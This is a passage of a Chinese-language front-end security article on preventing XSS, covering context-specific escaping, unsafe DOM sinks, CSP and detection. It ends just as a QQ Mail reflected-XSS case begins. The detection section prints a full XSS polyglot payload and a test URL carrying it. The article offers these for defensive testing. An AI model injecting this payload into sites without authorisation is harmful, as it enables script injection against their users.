                                                              \u5728\u5f88\u591a\u5185\u90e8\u3001\u7ba1\u7406\u7cfb\u7edf\u4e2d\uff0c\u91c7\u7528\u7eaf\u524d\u7aef\u6e32\u67d3\u662f\u975e\u5e38\u5408\u9002\u7684\u3002\u4f46\u5bf9\u4e8e\u6027\u80fd\u8981\u6c42\u9ad8\uff0c\u6216\u6709 SEO \u9700\u6c42\u7684\u9875\u9762\uff0c\u6211\u4eec\u4ecd\u7136\u8981\u9762\u5bf9\u62fc\u63a5 HTML \u7684\u95ee\u9898\u3002<\/p>\n
                                                              \u8f6c\u4e49 HTML<\/strong><\/p>\n
                                                              \u5982\u679c\u62fc\u63a5 HTML \u662f\u5fc5\u8981\u7684\uff0c\u5c31\u9700\u8981\u91c7\u7528\u5408\u9002\u7684\u8f6c\u4e49\u5e93\uff0c\u5bf9 HTML \u6a21\u677f\u5404\u5904\u63d2\u5165\u70b9\u8fdb\u884c\u5145\u5206\u7684\u8f6c\u4e49\u3002<\/p>\n
                                                              \u5e38\u7528\u7684\u6a21\u677f\u5f15\u64ce\uff0c\u5982 doT.js\u3001ejs\u3001FreeMarker \u7b49\uff0c\u5bf9\u4e8e HTML \u8f6c\u4e49\u901a\u5e38\u53ea\u6709\u4e00\u4e2a\u89c4\u5219\uff0c\u5c31\u662f\u628a & < > \" ' \/ \u8fd9\u51e0\u4e2a\u5b57\u7b26\u8f6c\u4e49\u6389\uff0c\u786e\u5b9e\u80fd\u8d77\u5230\u4e00\u5b9a\u7684 XSS \u9632\u62a4\u4f5c\u7528\uff0c\u4f46\u5e76\u4e0d\u5b8c\u5584\uff1a<\/p>\n\n\n\n\n\n\n\n\n\n\n
                                                              XSS \u5b89\u5168\u6f0f\u6d1e<\/th>\n\u7b80\u5355\u8f6c\u4e49\u662f\u5426\u6709\u9632\u62a4\u4f5c\u7528<\/th>\n<\/tr>\n<\/thead>\n
                                                              HTML \u6807\u7b7e\u6587\u5b57\u5185\u5bb9<\/td>\n\u6709<\/td>\n<\/tr>\n
                                                              HTML \u5c5e\u6027\u503c<\/td>\n\u6709<\/td>\n<\/tr>\n
                                                              CSS \u5185\u8054\u6837\u5f0f<\/td>\n\u65e0<\/td>\n<\/tr>\n
                                                              \u5185\u8054 JavaScript<\/td>\n\u65e0<\/td>\n<\/tr>\n
                                                              \u5185\u8054 JSON<\/td>\n\u65e0<\/td>\n<\/tr>\n
                                                              \u8df3\u8f6c\u94fe\u63a5<\/td>\n\u65e0<\/td>\n<\/tr>\n<\/tbody>\n<\/table>\n
                                                              \u6240\u4ee5\u8981\u5b8c\u5584 XSS \u9632\u62a4\u63aa\u65bd\uff0c\u6211\u4eec\u8981\u4f7f\u7528\u66f4\u5b8c\u5584\u66f4\u7ec6\u81f4\u7684\u8f6c\u4e49\u7b56\u7565\u3002<\/p>\n
                                                              \u4f8b\u5982 Java \u5de5\u7a0b\u91cc\uff0c\u5e38\u7528\u7684\u8f6c\u4e49\u5e93\u4e3a org.owasp.encoder\u3002\u4ee5\u4e0b\u4ee3\u7801\u5f15\u7528\u81ea org.owasp.encoder \u7684\u5b98\u65b9\u8bf4\u660e\u3002 <\/p>\n
                                                              \n \n \n 
                                                                \n  \n  \n  
                                                              1. <!-- HTML \u6807\u7b7e\u5185\u6587\u5b57\u5185\u5bb9 --><\/span> <\/span><\/span> <\/span><\/li>\n  \n  \n  
                                                              2. <<\/span>div<\/span>><\/span><<\/span>%= Encode.forHtml(UNTRUSTED) %<\/span>><\/span><\/<\/span>div<\/span>><\/span> <\/span><\/span> <\/span><\/li>\n  \n  \n  
                                                              3. <!-- HTML \u6807\u7b7e\u5c5e\u6027\u503c --><\/span> <\/span><\/span> <\/span><\/li>\n  \n  \n  
                                                              4. <<\/span>input<\/span> <\/span>value<\/span>=<\/span>\"<%= Encode.forHtml(UNTRUSTED) %>\"<\/span> <\/span>\/><\/span> <\/span><\/span> <\/span><\/li>\n  \n  \n  
                                                              5. <!-- CSS \u5c5e\u6027\u503c --><\/span> <\/span><\/span> <\/span><\/li>\n  \n  \n  
                                                              6. <<\/span>div<\/span> <\/span>style<\/span>=<\/span>\"width:<= Encode.forCssString(UNTRUSTED) %>\"<\/span>><\/span> <\/span><\/span> <\/span><\/li>\n  \n  \n  
                                                              7. <!-- CSS URL --><\/span> <\/span><\/span> <\/span><\/li>\n  \n  \n  
                                                              8. <<\/span>div<\/span> <\/span>style<\/span>=<\/span>\"background:<= Encode.forCssUrl(UNTRUSTED) %>\"<\/span>><\/span> <\/span><\/span> <\/span><\/li>\n  \n  \n  
                                                              9. <!-- JavaScript \u5185\u8054\u4ee3\u7801\u5757 --><\/span> <\/span><\/span> <\/span><\/li>\n  \n  \n  
                                                              10. <<\/span>script<\/span>><\/span> <\/span><\/span> <\/li>\n  \n  \n  
                                                              11.   var msg<\/span> = <\/span>\"<%= Encode.forJavaScript(UNTRUSTED) %>\"<\/span>; <\/span><\/span> <\/span><\/li>\n  \n  \n  
                                                              12.   alert(msg); <\/span> <\/span><\/li>\n  \n  \n  
                                                              13. <\/<\/span>script<\/span>><\/span> <\/span><\/span> <\/span><\/li>\n  \n  \n  
                                                              14. <!-- JavaScript \u5185\u8054\u4ee3\u7801\u5757\u5185\u5d4c JSON --><\/span> <\/span><\/span> <\/span><\/li>\n  \n  \n  
                                                              15. <<\/span>script<\/span>><\/span> <\/span><\/span> <\/span><\/li>\n  \n  \n  
                                                              16. var __INITIAL_STATE__<\/span> = <\/span>JSON<\/span>.parse('<\/span><<\/span>%= Encoder.forJavaScript(data.to_json) %<\/span>><\/span>'); <\/span><\/span> <\/span><\/li>\n  \n  \n  
                                                              17. <\/<\/span>script<\/span>><\/span> <\/span><\/span> <\/span><\/li>\n  \n  \n  
                                                              18. <!-- HTML \u6807\u7b7e\u5185\u8054\u76d1\u542c\u5668 --><\/span> <\/span><\/span> <\/span><\/li>\n  \n  \n  
                                                              19. <<\/span>button<\/span> <\/span><\/span> <\/span><\/li>\n  \n  \n  
                                                              20.   onclick<\/span>=<\/span>\"alert('<%= Encode.forJavaScript(UNTRUSTED) %>');\"<\/span>><\/span> <\/span><\/span> <\/span><\/li>\n  \n  \n  
                                                              21.   click me <\/span> <\/span><\/li>\n  \n  \n  
                                                              22. <\/<\/span>button<\/span>><\/span> <\/span><\/span> <\/span><\/li>\n  \n  \n  
                                                              23. <!-- URL \u53c2\u6570 --><\/span> <\/span><\/span> <\/span><\/li>\n  \n  \n  
                                                              24. <<\/span>a<\/span> <\/span>href<\/span>=<\/span>\"\/search?value=<%= Encode.forUriComponent(UNTRUSTED) %>&order=1#top\"<\/span>><\/span> <\/span><\/span> <\/span><\/li>\n  \n  \n  
                                                              25. <!-- URL \u8def\u5f84 --><\/span> <\/span><\/span> <\/span><\/li>\n  \n  \n  
                                                              26. <<\/span>a<\/span> <\/span>href<\/span>=<\/span>\"\/page\/<%= Encode.forUriComponent(UNTRUSTED) %>\"<\/span>><\/span> <\/span><\/span> <\/span><\/li>\n  \n  \n  
                                                              27. <!-- <\/span> <\/span><\/li>\n  \n  \n  
                                                              28.   URL. <\/span> <\/span><\/li>\n  \n  \n  
                                                              29.   \u6ce8\u610f\uff1a\u8981\u6839\u636e\u9879\u76ee\u60c5\u51b5\u8fdb\u884c\u8fc7\u6ee4\uff0c\u7981\u6b62\u6389 \"javascript:\" \u94fe\u63a5\u3001\u975e\u6cd5 scheme \u7b49 <\/span> <\/span><\/li>\n  \n  \n  
                                                              30. --><\/span> <\/span><\/span> <\/li>\n  \n  \n  
                                                              31. <<\/span>a<\/span> <\/span>href<\/span>='<\/span><<\/span>%= <\/span><\/span> <\/li>\n  \n  \n  
                                                              32.   urlValidator.isValid(UNTRUSTED) ? <\/span> <\/span><\/li>\n  \n  \n  
                                                              33.     Encode.forHtml(UNTRUSTED) : <\/span> <\/li>\n  \n  \n  
                                                              34.     \"\/404\" <\/span> <\/span><\/li>\n  \n  \n  
                                                              35. %><\/span>'<\/span>><\/span> <\/span><\/span> <\/span><\/li>\n  \n  \n  
                                                              36.   link <\/span> <\/span><\/li>\n  \n  \n  
                                                              37. <\/<\/span>a<\/span>><\/span> <\/span><\/span><\/li>\n \n \n <\/ol><\/pre>\n
                                                                \u53ef\u89c1\uff0cHTML \u7684\u7f16\u7801\u662f\u5341\u5206\u590d\u6742\u7684\uff0c\u5728\u4e0d\u540c\u7684\u4e0a\u4e0b\u6587\u91cc\u8981\u4f7f\u7528\u76f8\u5e94\u7684\u8f6c\u4e49\u89c4\u5219\u3002<\/p>\n
                                                                \u9884\u9632 DOM \u578b XSS \u653b\u51fb<\/strong><\/p>\n
                                                                DOM \u578b XSS \u653b\u51fb\uff0c\u5b9e\u9645\u4e0a\u5c31\u662f\u7f51\u7ad9\u524d\u7aef JavaScript \u4ee3\u7801\u672c\u8eab\u4e0d\u591f\u4e25\u8c28\uff0c\u628a\u4e0d\u53ef\u4fe1\u7684\u6570\u636e\u5f53\u4f5c\u4ee3\u7801\u6267\u884c\u4e86\u3002<\/p>\n
                                                                \u5728\u4f7f\u7528 .innerHTML\u3001.outerHTML\u3001document.write() \u65f6\u8981\u7279\u522b\u5c0f\u5fc3\uff0c\u4e0d\u8981\u628a\u4e0d\u53ef\u4fe1\u7684\u6570\u636e\u4f5c\u4e3a HTML \u63d2\u5230\u9875\u9762\u4e0a\uff0c\u800c\u5e94\u5c3d\u91cf\u4f7f\u7528 .textContent\u3001.setAttribute() \u7b49\u3002<\/p>\n
                                                                \u5982\u679c\u7528 Vue\/React \u6280\u672f\u6808\uff0c\u5e76\u4e14\u4e0d\u4f7f\u7528 v-html\/dangerouslySetInnerHTML \u529f\u80fd\uff0c\u5c31\u5728\u524d\u7aef render \u9636\u6bb5\u907f\u514d innerHTML\u3001outerHTML \u7684 XSS \u9690\u60a3\u3002<\/p>\n
                                                                DOM \u4e2d\u7684\u5185\u8054\u4e8b\u4ef6\u76d1\u542c\u5668\uff0c\u5982 location\u3001onclick\u3001onerror\u3001onload\u3001onmouseover \u7b49\uff0c<a> \u6807\u7b7e\u7684 href \u5c5e\u6027\uff0cJavaScript \u7684 eval()\u3001setTimeout()\u3001setInterval() \u7b49\uff0c\u90fd\u80fd\u628a\u5b57\u7b26\u4e32\u4f5c\u4e3a\u4ee3\u7801\u8fd0\u884c\u3002\u5982\u679c\u4e0d\u53ef\u4fe1\u7684\u6570\u636e\u62fc\u63a5\u5230\u5b57\u7b26\u4e32\u4e2d\u4f20\u9012\u7ed9\u8fd9\u4e9b API\uff0c\u5f88\u5bb9\u6613\u4ea7\u751f\u5b89\u5168\u9690\u60a3\uff0c\u8bf7\u52a1\u5fc5\u907f\u514d\u3002 <\/p>\n
                                                                \n \n \n 
                                                                  \n  \n  \n  
                                                                1. <!-- \u5185\u8054\u4e8b\u4ef6\u76d1\u542c\u5668\u4e2d\u5305\u542b\u6076\u610f\u4ee3\u7801 --><\/span> <\/span><\/span> <\/span><\/li>\n  \n  \n  
                                                                2. <<\/span>img<\/span> <\/span>onclick<\/span>=<\/span>\"UNTRUSTED\"<\/span> <\/span>onerror<\/span>=<\/span>\"UNTRUSTED\"<\/span> <\/span>src<\/span>=<\/span>\"data:image\/png,\"<\/span>><\/span> <\/span><\/span> <\/span><\/li>\n  \n  \n  
                                                                3. <!-- \u94fe\u63a5\u5185\u5305\u542b\u6076\u610f\u4ee3\u7801 --><\/span> <\/span><\/span> <\/span><\/li>\n  \n  \n  
                                                                4. <<\/span>a<\/span> <\/span>href<\/span>=<\/span>\"UNTRUSTED\"<\/span>><\/span>1<\/span><\/<\/span>a<\/span>><\/span> <\/span><\/span> <\/span><\/li>\n  \n  \n  
                                                                5. <<\/span>script<\/span>><\/span> <\/span><\/span> <\/span><\/li>\n  \n  \n  
                                                                6. \/\/ setTimeout()\/setInterval() \u4e2d\u8c03\u7528\u6076\u610f\u4ee3\u7801 <\/span> <\/span><\/li>\n  \n  \n  
                                                                7. setTimeout(\"UNTRUSTED\") <\/span> <\/span><\/li>\n  \n  \n  
                                                                8. setInterval(\"UNTRUSTED\") <\/span> <\/span><\/li>\n  \n  \n  
                                                                9. \/\/ location \u8c03\u7528\u6076\u610f\u4ee3\u7801 <\/span> <\/span><\/li>\n  \n  \n  
                                                                10. location.href<\/span> = <\/span>'UNTRUSTED'<\/span> <\/span><\/span> <\/span><\/li>\n  \n  \n  
                                                                11. \/\/ eval() \u4e2d\u8c03\u7528\u6076\u610f\u4ee3\u7801 <\/span> <\/span><\/li>\n  \n  \n  
                                                                12. eval(\"UNTRUSTED\") <\/span> <\/span><\/li>\n  \n  \n  
                                                                13. <\/<\/span>script<\/span>><\/span> <\/span><\/span><\/li>\n \n \n <\/ol><\/pre>\n
                                                                  \u5982\u679c\u9879\u76ee\u4e2d\u6709\u7528\u5230\u8fd9\u4e9b\u7684\u8bdd\uff0c\u4e00\u5b9a\u8981\u907f\u514d\u5728\u5b57\u7b26\u4e32\u4e2d\u62fc\u63a5\u4e0d\u53ef\u4fe1\u6570\u636e\u3002<\/p>\n
                                                                  \u5176\u4ed6 XSS \u9632\u8303\u63aa\u65bd<\/strong><\/p>\n
                                                                  \u867d\u7136\u5728\u6e32\u67d3\u9875\u9762\u548c\u6267\u884c JavaScript \u65f6\uff0c\u901a\u8fc7\u8c28\u614e\u7684\u8f6c\u4e49\u53ef\u4ee5\u9632\u6b62 XSS \u7684\u53d1\u751f\uff0c\u4f46\u5b8c\u5168\u4f9d\u9760\u5f00\u53d1\u7684\u8c28\u614e\u4ecd\u7136\u662f\u4e0d\u591f\u7684\u3002\u4ee5\u4e0b\u4ecb\u7ecd\u4e00\u4e9b\u901a\u7528\u7684\u65b9\u6848\uff0c\u53ef\u4ee5\u964d\u4f4e XSS \u5e26\u6765\u7684\u98ce\u9669\u548c\u540e\u679c\u3002<\/p>\n
                                                                  Content Security Policy<\/strong><\/p>\n
                                                                  \u4e25\u683c\u7684 CSP \u5728 XSS \u7684\u9632\u8303\u4e2d\u53ef\u4ee5\u8d77\u5230\u4ee5\u4e0b\u7684\u4f5c\u7528\uff1a<\/p>\n
                                                                    \n
                                                                  •  \u7981\u6b62\u52a0\u8f7d\u5916\u57df\u4ee3\u7801\uff0c\u9632\u6b62\u590d\u6742\u7684\u653b\u51fb\u903b\u8f91\u3002<\/li>\n
                                                                  •  \u7981\u6b62\u5916\u57df\u63d0\u4ea4\uff0c\u7f51\u7ad9\u88ab\u653b\u51fb\u540e\uff0c\u7528\u6237\u7684\u6570\u636e\u4e0d\u4f1a\u6cc4\u9732\u5230\u5916\u57df\u3002<\/li>\n
                                                                  •  \u7981\u6b62\u5185\u8054\u811a\u672c\u6267\u884c\uff08\u89c4\u5219\u8f83\u4e25\u683c\uff0c\u76ee\u524d\u53d1\u73b0 GitHub \u4f7f\u7528\uff09\u3002<\/li>\n
                                                                  •  \u7981\u6b62\u672a\u6388\u6743\u7684\u811a\u672c\u6267\u884c\uff08\u65b0\u7279\u6027\uff0cGoogle Map \u79fb\u52a8\u7248\u5728\u4f7f\u7528\uff09\u3002<\/li>\n
                                                                  •  \u5408\u7406\u4f7f\u7528\u4e0a\u62a5\u53ef\u4ee5\u53ca\u65f6\u53d1\u73b0 XSS\uff0c\u5229\u4e8e\u5c3d\u5feb\u4fee\u590d\u95ee\u9898\u3002<\/li>\n<\/ul>\n
                                                                    \u5173\u4e8e CSP \u7684\u8be6\u60c5\uff0c\u8bf7\u5173\u6ce8\u524d\u7aef\u5b89\u5168\u7cfb\u5217\u540e\u7eed\u7684\u6587\u7ae0\u3002<\/p>\n
                                                                    \u8f93\u5165\u5185\u5bb9\u957f\u5ea6\u63a7\u5236<\/strong><\/p>\n
                                                                    \u5bf9\u4e8e\u4e0d\u53d7\u4fe1\u4efb\u7684\u8f93\u5165\uff0c\u90fd\u5e94\u8be5\u9650\u5b9a\u4e00\u4e2a\u5408\u7406\u7684\u957f\u5ea6\u3002\u867d\u7136\u65e0\u6cd5\u5b8c\u5168\u9632\u6b62 XSS \u53d1\u751f\uff0c\u4f46\u53ef\u4ee5\u589e\u52a0 XSS \u653b\u51fb\u7684\u96be\u5ea6\u3002<\/p>\n
                                                                    \u5176\u4ed6\u5b89\u5168\u63aa\u65bd<\/strong><\/p>\n
                                                                      \n
                                                                    •  HTTP-only Cookie: \u7981\u6b62 JavaScript \u8bfb\u53d6\u67d0\u4e9b\u654f\u611f Cookie\uff0c\u653b\u51fb\u8005\u5b8c\u6210 XSS \u6ce8\u5165\u540e\u4e5f\u65e0\u6cd5\u7a83\u53d6\u6b64 Cookie\u3002<\/li>\n
                                                                    •  \u9a8c\u8bc1\u7801\uff1a\u9632\u6b62\u811a\u672c\u5192\u5145\u7528\u6237\u63d0\u4ea4\u5371\u9669\u64cd\u4f5c\u3002<\/li>\n<\/ul>\n
                                                                      XSS \u7684\u68c0\u6d4b<\/strong><\/p>\n
                                                                      \u4e0a\u8ff0\u7ecf\u5386\u8ba9\u5c0f\u660e\u6536\u83b7\u9887\u4e30\uff0c\u4ed6\u4e5f\u5b66\u4f1a\u4e86\u5982\u4f55\u53bb\u9884\u9632\u548c\u4fee\u590d XSS \u6f0f\u6d1e\uff0c\u5728\u65e5\u5e38\u5f00\u53d1\u4e2d\u4e5f\u5177\u5907\u4e86\u76f8\u5173\u7684\u5b89\u5168\u610f\u8bc6\u3002\u4f46\u5bf9\u4e8e\u5df2\u7ecf\u4e0a\u7ebf\u7684\u4ee3\u7801\uff0c\u5982\u4f55\u53bb\u68c0\u6d4b\u5176\u4e2d\u6709\u6ca1\u6709 XSS \u6f0f\u6d1e\u5462\uff1f<\/p>\n
                                                                      \u7ecf\u8fc7\u4e00\u756a\u641c\u7d22\uff0c\u5c0f\u660e\u627e\u5230\u4e86\u4e24\u4e2a\u65b9\u6cd5\uff1a<\/p>\n
                                                                        \n
                                                                      1.  \u4f7f\u7528\u901a\u7528 XSS \u653b\u51fb\u5b57\u7b26\u4e32\u624b\u52a8\u68c0\u6d4b XSS \u6f0f\u6d1e\u3002<\/li>\n
                                                                      2.  \u4f7f\u7528\u626b\u63cf\u5de5\u5177\u81ea\u52a8\u68c0\u6d4b XSS \u6f0f\u6d1e\u3002<\/li>\n<\/ol>\n
                                                                        \u5728Unleashing an Ultimate XSS Polyglot\u4e00\u6587\u4e2d\uff0c\u5c0f\u660e\u53d1\u73b0\u4e86\u8fd9\u4e48\u4e00\u4e2a\u5b57\u7b26\u4e32\uff1a <\/p>\n
                                                                        \n \n \n 
                                                                          \n  \n  \n  
                                                                        1. jaVasCript:\/*-\/*`\/*\\`\/*'\/*\"\/**\/(\/* *\/<\/span>oNcliCk<\/span>=<\/span>alert<\/span>() )\/\/%0D%0A%0d%0a\/\/<\/span><\/<\/span>stYle<\/span>\/<\/span><\/<\/span>titLe<\/span>\/<\/span><\/<\/span>teXtarEa<\/span>\/<\/span><\/<\/span>scRipt<\/span>\/--!<\/span>><\/span>\\x3csVg\/<\/span><<\/span>sVg<\/span>\/<\/span>oNloAd<\/span>=<\/span>alert<\/span>()<\/span>\/\/><\/span>\\x3e <\/span><\/span><\/li>\n \n \n <\/ol><\/pre>\n
                                                                          \u5b83\u80fd\u591f\u68c0\u6d4b\u5230\u5b58\u5728\u4e8e HTML \u5c5e\u6027\u3001HTML \u6587\u5b57\u5185\u5bb9\u3001HTML \u6ce8\u91ca\u3001\u8df3\u8f6c\u94fe\u63a5\u3001\u5185\u8054 JavaScript \u5b57\u7b26\u4e32\u3001\u5185\u8054 CSS \u6837\u5f0f\u8868\u7b49\u591a\u79cd\u4e0a\u4e0b\u6587\u4e2d\u7684 XSS \u6f0f\u6d1e\uff0c\u4e5f\u80fd\u68c0\u6d4b eval()\u3001setTimeout()\u3001setInterval()\u3001Function()\u3001innerHTML\u3001document.write() \u7b49 DOM \u578b XSS \u6f0f\u6d1e\uff0c\u5e76\u4e14\u80fd\u7ed5\u8fc7\u4e00\u4e9b XSS \u8fc7\u6ee4\u5668\u3002<\/p>\n
                                                                          \u5c0f\u660e\u53ea\u8981\u5728\u7f51\u7ad9\u7684\u5404\u8f93\u5165\u6846\u4e2d\u63d0\u4ea4\u8fd9\u4e2a\u5b57\u7b26\u4e32\uff0c\u6216\u8005\u628a\u5b83\u62fc\u63a5\u5230 URL \u53c2\u6570\u4e0a\uff0c\u5c31\u53ef\u4ee5\u8fdb\u884c\u68c0\u6d4b\u4e86\u3002 <\/p>\n
                                                                          \n \n \n 
                                                                            \n  \n  \n  
                                                                          1. http:\/\/xxx\/search?<\/span>keyword<\/span>=<\/span>jaVasCript<\/span>%3A%2F*-%2F*%60%2F*%60%2F*%27%2F*%22%2F**%2F(%2F*%20*%2FoNcliCk%3Dalert()%20)%2F%2F%250D%250A%250d%250a%2F%2F%3C%2FstYle%2F%3C%2FtitLe%2F%3C%2FteXtarEa%2F%3C%2FscRipt%2F--!%3E%3CsVg%2F%3CsVg%2FoNloAd%3Dalert()%2F%2F%3E%3E <\/span><\/span><\/li>\n \n \n <\/ol><\/pre>\n
                                                                             \u9664\u4e86\u624b\u52a8\u68c0\u6d4b\u4e4b\u5916\uff0c\u8fd8\u53ef\u4ee5\u4f7f\u7528\u81ea\u52a8\u626b\u63cf\u5de5\u5177\u5bfb\u627e XSS \u6f0f\u6d1e\uff0c\u4f8b\u5982 Arachni\u3001Mozilla HTTP Observatory\u3001w3af \u7b49\u3002<\/p>\n
                                                                            XSS \u653b\u51fb\u7684\u603b\u7ed3<\/strong><\/p>\n
                                                                            \u6211\u4eec\u56de\u5230\u6700\u5f00\u59cb\u63d0\u51fa\u7684\u95ee\u9898\uff0c\u76f8\u4fe1\u540c\u5b66\u4eec\u5df2\u7ecf\u6709\u4e86\u7b54\u6848\uff1a<\/p>\n
                                                                            1.XSS \u9632\u8303\u662f\u540e\u7aef RD \u7684\u8d23\u4efb\uff0c\u540e\u7aef RD \u5e94\u8be5\u5728\u6240\u6709\u7528\u6237\u63d0\u4ea4\u6570\u636e\u7684\u63a5\u53e3\uff0c\u5bf9\u654f\u611f\u5b57\u7b26\u8fdb\u884c\u8f6c\u4e49\uff0c\u624d\u80fd\u8fdb\u884c\u4e0b\u4e00\u6b65\u64cd\u4f5c\u3002<\/p>\n
                                                                            \u4e0d\u6b63\u786e\u3002\u56e0\u4e3a\uff1a<\/p>\n
                                                                              \n
                                                                            • \n
                                                                              \u9632\u8303\u5b58\u50a8\u578b\u548c\u53cd\u5c04\u578b XSS \u662f\u540e\u7aef RD \u7684\u8d23\u4efb\u3002\u800c DOM \u578b XSS \u653b\u51fb\u4e0d\u53d1\u751f\u5728\u540e\u7aef\uff0c\u662f\u524d\u7aef RD \u7684\u8d23\u4efb\u3002\u9632\u8303 XSS \u662f\u9700\u8981\u540e\u7aef RD \u548c\u524d\u7aef RD \u5171\u540c\u53c2\u4e0e\u7684\u7cfb\u7edf\u5de5\u7a0b\u3002<\/p>\n<\/li>\n
                                                                            • \n
                                                                              \u8f6c\u4e49\u5e94\u8be5\u5728\u8f93\u51fa HTML \u65f6\u8fdb\u884c\uff0c\u800c\u4e0d\u662f\u5728\u63d0\u4ea4\u7528\u6237\u8f93\u5165\u65f6\u3002<\/p>\n<\/li>\n<\/ul>\n
                                                                              2. \u6240\u6709\u8981\u63d2\u5165\u5230\u9875\u9762\u4e0a\u7684\u6570\u636e\uff0c\u90fd\u8981\u901a\u8fc7\u4e00\u4e2a\u654f\u611f\u5b57\u7b26\u8fc7\u6ee4\u51fd\u6570\u7684\u8f6c\u4e49\uff0c\u8fc7\u6ee4\u6389\u901a\u7528\u7684\u654f\u611f\u5b57\u7b26\u540e\uff0c\u5c31\u53ef\u4ee5\u63d2\u5165\u5230\u9875\u9762\u4e2d\u3002<\/p>\n
                                                                              \u4e0d\u6b63\u786e\u3002<\/p>\n
                                                                              \u4e0d\u540c\u7684\u4e0a\u4e0b\u6587\uff0c\u5982 HTML \u5c5e\u6027\u3001HTML \u6587\u5b57\u5185\u5bb9\u3001HTML \u6ce8\u91ca\u3001\u8df3\u8f6c\u94fe\u63a5\u3001\u5185\u8054 JavaScript \u5b57\u7b26\u4e32\u3001\u5185\u8054 CSS \u6837\u5f0f\u8868\u7b49\uff0c\u6240\u9700\u8981\u7684\u8f6c\u4e49\u89c4\u5219\u4e0d\u4e00\u81f4\u3002<\/p>\n
                                                                              \u4e1a\u52a1 RD \u9700\u8981\u9009\u53d6\u5408\u9002\u7684\u8f6c\u4e49\u5e93\uff0c\u5e76\u9488\u5bf9\u4e0d\u540c\u7684\u4e0a\u4e0b\u6587\u8c03\u7528\u4e0d\u540c\u7684\u8f6c\u4e49\u89c4\u5219\u3002<\/p>\n
                                                                              \u6574\u4f53\u7684 XSS \u9632\u8303\u662f\u975e\u5e38\u590d\u6742\u548c\u7e41\u7410\u7684\uff0c\u6211\u4eec\u4e0d\u4ec5\u9700\u8981\u5728\u5168\u90e8\u9700\u8981\u8f6c\u4e49\u7684\u4f4d\u7f6e\uff0c\u5bf9\u6570\u636e\u8fdb\u884c\u5bf9\u5e94\u7684\u8f6c\u4e49\u3002\u800c\u4e14\u8981\u9632\u6b62\u591a\u4f59\u548c\u9519\u8bef\u7684\u8f6c\u4e49\uff0c\u907f\u514d\u6b63\u5e38\u7684\u7528\u6237\u8f93\u5165\u51fa\u73b0\u4e71\u7801\u3002<\/p>\n
                                                                              \u867d\u7136\u5f88\u96be\u901a\u8fc7\u6280\u672f\u624b\u6bb5\u5b8c\u5168\u907f\u514d XSS\uff0c\u4f46\u6211\u4eec\u53ef\u4ee5\u603b\u7ed3\u4ee5\u4e0b\u539f\u5219\u51cf\u5c11\u6f0f\u6d1e\u7684\u4ea7\u751f\uff1a<\/p>\n
                                                                                \n
                                                                              •  \u5229\u7528\u6a21\u677f\u5f15\u64ce<\/li>\n<\/ul>\n
                                                                                    \u5f00\u542f\u6a21\u677f\u5f15\u64ce\u81ea\u5e26\u7684 HTML \u8f6c\u4e49\u529f\u80fd\u3002\u4f8b\u5982\uff1a<\/p>\n
                                                                                    \u5728 ejs \u4e2d\uff0c\u5c3d\u91cf\u4f7f\u7528 <%= data %> \u800c\u4e0d\u662f <%- data %>\uff1b<\/p>\n
                                                                                    \u5728 doT.js \u4e2d\uff0c\u5c3d\u91cf\u4f7f\u7528 {{! data } \u800c\u4e0d\u662f {{= data }\uff1b<\/p>\n
                                                                                    \u5728 FreeMarker \u4e2d\uff0c\u786e\u4fdd\u5f15\u64ce\u7248\u672c\u9ad8\u4e8e 2.3.24\uff0c\u5e76\u4e14\u9009\u62e9\u6b63\u786e\u7684 freemarker.core.OutputFormat\u3002<\/p>\n
                                                                                  \n
                                                                                •  \u907f\u514d\u5185\u8054\u4e8b\u4ef6<\/li>\n<\/ul>\n
                                                                                      \u5c3d\u91cf\u4e0d\u8981\u4f7f\u7528 onLoad=\"onload('{{data}}')\"\u3001onClick=\"go('{{action}}')\" \u8fd9\u79cd\u62fc\u63a5\u5185\u8054\u4e8b\u4ef6\u7684\u5199\u6cd5\u3002\u5728 JavaScript \u4e2d\u901a\u8fc7 .addEventlistener() \u4e8b\u4ef6\u7ed1\u5b9a\u4f1a\u66f4\u5b89\u5168\u3002<\/p>\n
                                                                                    \n
                                                                                  •  \u907f\u514d\u62fc\u63a5 HTML<\/li>\n<\/ul>\n
                                                                                        \u524d\u7aef\u91c7\u7528\u62fc\u63a5 HTML \u7684\u65b9\u6cd5\u6bd4\u8f83\u5371\u9669\uff0c\u5982\u679c\u6846\u67b6\u5141\u8bb8\uff0c\u4f7f\u7528 createElement\u3001setAttribute \u4e4b\u7c7b\u7684\u65b9\u6cd5\u5b9e\u73b0\u3002\u6216\u8005\u91c7\u7528\u6bd4\u8f83\u6210\u719f\u7684\u6e32\u67d3\u6846\u67b6\uff0c\u5982 Vue\/React \u7b49\u3002<\/p>\n
                                                                                      \n
                                                                                    •  \u65f6\u523b\u4fdd\u6301\u8b66\u60d5<\/li>\n<\/ul>\n
                                                                                          \u5728\u63d2\u5165\u4f4d\u7f6e\u4e3a DOM \u5c5e\u6027\u3001\u94fe\u63a5\u7b49\u4f4d\u7f6e\u65f6\uff0c\u8981\u6253\u8d77\u7cbe\u795e\uff0c\u4e25\u52a0\u9632\u8303\u3002<\/p>\n
                                                                                        \n
                                                                                      •  \u589e\u52a0\u653b\u51fb\u96be\u5ea6\uff0c\u964d\u4f4e\u653b\u51fb\u540e\u679c<\/li>\n<\/ul>\n
                                                                                            \u901a\u8fc7 CSP\u3001\u8f93\u5165\u957f\u5ea6\u914d\u7f6e\u3001\u63a5\u53e3\u5b89\u5168\u63aa\u65bd\u7b49\u65b9\u6cd5\uff0c\u589e\u52a0\u653b\u51fb\u7684\u96be\u5ea6\uff0c\u964d\u4f4e\u653b\u51fb\u7684\u540e\u679c\u3002<\/p>\n
                                                                                          \n
                                                                                        •  \u4e3b\u52a8\u68c0\u6d4b\u548c\u53d1\u73b0<\/li>\n<\/ul>\n
                                                                                              \u53ef\u4f7f\u7528 XSS \u653b\u51fb\u5b57\u7b26\u4e32\u548c\u81ea\u52a8\u626b\u63cf\u5de5\u5177\u5bfb\u627e\u6f5c\u5728\u7684 XSS \u6f0f\u6d1e\u3002<\/p>\n
                                                                                          XSS \u653b\u51fb\u6848\u4f8b<\/strong><\/p>\n
                                                                                          QQ \u90ae\u7bb1 m.exmail.qq.com \u57df\u540d\u53cd\u5c04\u578b XSS \u6f0f\u6d1e<\/strong><\/p>\n
                                                                                          \u653b\u51fb\u8005\u53d1\u73b0 http:\/\/m.exmail.qq.com\/cgi-bin\/login?uin=aaaa&domain=bbbb \u8fd9\u4e2a URL \u7684\u53c2\u6570 uin\u3001domain \u672a\u7ecf\u8f6c\u4e49\u76f4\u63a5\u8f93\u51fa\u5230 HTML \u4e2d\u3002<\/p>\n
